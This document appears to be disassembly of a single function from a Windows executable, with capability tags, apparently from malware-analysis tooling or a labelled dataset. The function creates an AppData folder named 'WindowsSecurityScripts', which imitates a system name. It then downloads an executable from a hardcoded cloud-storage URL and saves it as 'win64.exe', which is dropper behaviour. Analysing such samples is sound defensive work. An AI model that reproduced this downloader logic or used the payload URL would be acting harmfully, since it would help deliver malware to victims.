Function at 0x140001230
Capabilities:
Create directory
Download url
Get common file path
Receive data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push rbp
push r14
push r15
lea rbp, [rsp - 0x1e0]
sub rsp, 0x2e0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x1d0], rax
xor r12d, r12d
lea rax, [rbp - 0x40]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea edx, [r12 + 0x1a]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
js 0x140001643
lea rdx, [rbp - 0x40]
lea rcx, [rsp + 0x38]
call fcn.140001700
mov rbx, rax
mov rcx, qword [rax + 0x10]
mov rdx, qword [rax + 0x18]
mov rax, rdx
sub rax, rcx
cmp rax, 0x18
jb 0x1400012e6
lea rsi, [rcx + 0x18]
mov qword [rbx + 0x10], rsi
mov rdi, rbx
cmp rdx, 7
jbe 0x1400012c9
mov rdi, qword [rbx]
lea rcx, [rdi + rcx*2]
mov r8d, 0x30
lea rdx, str.WindowsSecurityScripts_
call sub.VCRUNTIME140.dll_memmove
mov word [rdi + rsi*2], r12w
jmp 0x1400012ff
mov qword [rsp + 0x20], 0x18
mov edx, 0x18
mov rcx, rbx
call fcn.140001850
mov rbx, rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
mov qword [rsp + 0x68], r12
mov qword [rsp + 0x70], r12
movups xmm0, xmmword [rbx]
movups xmmword [rsp + 0x58], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rsp + 0x68], xmm1
mov qword [rbx + 0x10], r12
mov edi, 7
mov qword [rbx + 0x18], rdi
mov word [rbx], r12w
mov rdx, qword [rsp + 0x50]
cmp rdx, rdi
jbe 0x140001377
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001372
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001372
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140001a9c
movdqa xmm0, xmmword [0x1400035e0]
movdqu xmmword [rsp + 0x48], xmm0
mov word [rsp + 0x38], r12w
lea rcx, [rsp + 0x58]
cmp qword [rsp + 0x70], 7
cmova rcx, qword [rsp + 0x58]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea rdx, str.https:__s3.ap_northeast_1_ntt.wasabisys.com_ak1520d_filenow_3_files_20240330_2215_e60f7cc8097676cb8ee3d0e5dff83a7a.exe_response_content_dispositionattachment
lea rcx, [rbp - 0x68]
call fcn.140001700
nop
mov rbx, qword [rsp + 0x68]
movabs rcx, 0x7ffffffffffffffe
mov rax, rcx
sub rax, rbx
cmp rax, 9
jb 0x14000168a
lea r15, [rsp + 0x58]
cmp qword [rsp + 0x70], 7
cmova r15, qword [rsp + 0x58]
xorps xmm0, xmm0
movups xmmword [rsp + 0x78], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x78], xmm1
lea r14, [rbx + 9]
lea rsi, [rsp + 0x78]
cmp r14, 7
jbe 0x140001499
mov rdi, r14
or rdi, 7
cmp rdi, rcx
jbe 0x140001427
mov rdi, rcx
movabs rax, 0x7fffffffffffffff
lea rcx, [rax + rax]
jmp 0x140001456
mov eax, 0xa
cmp rdi, rax
cmovb rdi, rax
lea rcx, [rdi + 1]
movabs rax, 0x7fffffffffffffff
cmp rcx, rax
ja 0x140001684
add rcx, rcx
cmp rcx, 0x1000
jb 0x140001482
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140001684
mov rcx, rax
call fcn.140001a60
test rax, rax
je 0x140001586
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x140001494
test rcx, rcx
je 0x140001491
call fcn.140001a60
mov rsi, rax
jmp 0x140001494
mov rsi, r12
mov qword [rsp + 0x78], rsi
mov qword [rbp - 0x78], r14
mov qword [rbp - 0x70], rdi
add rbx, rbx
mov r8, rbx
mov rdx, r15
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
movups xmm0, xmmword [str.win64.exe]
movups xmmword [rsi + rbx], xmm0
movzx eax, word [0x140003530]
mov word [rsi + rbx + 0x10], ax
mov word [rsi + r14*2], r12w
mov r9d, 0x40
lea r8, [0x140003538]
lea rdx, [0x140003540]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
lea r8, [rsp + 0x78]
cmp qword [rbp - 0x70], 7
cmova r8, qword [rsp + 0x78]
lea rdx, [rbp - 0x68]
cmp qword [rbp - 0x50], 7
cmova rdx, qword [rbp - 0x68]
mov qword [rsp + 0x20], r12
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
test eax, eax
js 0x140001521
mov ebx, r12d
jmp 0x14000154e
lea rcx, str.Download_Failed_n
call fcn.140001010
mov r9d, 0x10
lea r8, [0x140003538]
lea rdx, [0x140003590]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
mov ebx, 0xffffffff
mov rdx, qword [rbp - 0x70]
cmp rdx, 7
jbe 0x140001592
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000158d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000158d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140001a9c
movdqa xmm0, xmmword [0x1400035e0]
movdqu xmmword [rbp - 0x78], xmm0
mov word [rsp + 0x78], r12w
mov rdx, qword [rbp - 0x50]
cmp rdx, 7
jbe 0x1400015e8
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400015e3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400015e3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140001a9c
movdqa xmm0, xmmword [0x1400035e0]
movdqu xmmword [rbp - 0x58], xmm0
mov word [rbp - 0x68], r12w
mov rdx, qword [rsp + 0x70]
cmp rdx, 7
jbe 0x14000163f
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000163a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000163a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140001a9c
mov eax, ebx
jmp 0x140001654
lea rcx, str.Failed_to_get_the_AppData_folder_path_n
call fcn.140001010
mov eax, 0xffffffff
mov rcx, qword [rbp + 0x1d0]
xor rcx, rsp
call fcn.140001a40
lea r11, [rsp + 0x2e0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
call fcn.140001170
nop
call fcn.140001210
int3